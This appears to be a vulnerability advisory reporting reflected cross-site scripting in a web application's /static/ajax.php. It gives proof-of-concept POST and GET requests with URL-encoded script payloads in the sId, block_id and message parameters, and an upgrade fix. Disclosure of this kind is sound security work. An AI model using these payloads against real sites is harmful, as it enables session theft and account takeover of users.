== Vulnerabilities ==
URL encoded POST input sId was set to '"()&%1<ScRiPt >prompt(945307)</ScRiPt>
This vulnerability affects in [UrlOfSite]/static/ajax.php
OR
URL encoded POST input block_id was set to '"()&%1<ScRiPt >prompt(983655)</ScRiPt>
This vulnerability affects in [UrlOfSite]/static/ajax.php
OR
URL encoded GET input message was set to '"()&%1<ScRiPt >prompt(990170)</ScRiPt>
This vulnerability affects in [UrlOfSite]/static/ajax.php
Above parameters are not correctly
sanitized before being used , making them
vulnerable to XSS attacks.
 
== Proof of concept ==
 
- For the sId parameter, when URL encoded POST input block_id was set to '"()&%1<ScRiPt >prompt(983655)</ScRiPt>
then we have this:
 
POST /static/ajax.php 
block_id=%27%22%28%29%26%251%3cScRiPt%20%3eprompt%28983655%29%3c%2fScRiPt%3e&core[ajax]
=true&core[call]=core.hideBlock&core[is_admincp]=0&core[is_user_profile]=0&core[profile_user_id]=0&core[security_token]=fb93d433ca43a5a389075476267439f6&sController=video.index&type_id= video_category

- For the message parameter,URL encoded GET input message was set to '"()&%1<ScRiPt >prompt(990170)</ScRiPt>
then we have this:

GET /static/ajax.php?core[ajax]=true&core[call]=core.message&core[security_token]=
fb93d433ca43a5a389075476267439f6&height=150&message=%27%22%28%29%26%251%3cScRiPt%20%3eprompt%28990170%29%3c%2fScRiPt%3e&width=300

Malicious users may inject JavaScript, VBScript, ActiveX, HTML or Flash into a vulnerable application to fool a user 
in order to gather data from them. An attacker can steal the session cookie and take over the account, impersonating 
the user. It is also possible to modify the content of the page presented to the user 
== Solution ==
Upgrade the product to the 3.6.0 (build6) version. Note that builds 4
and 5 also may contain the vulnerability.
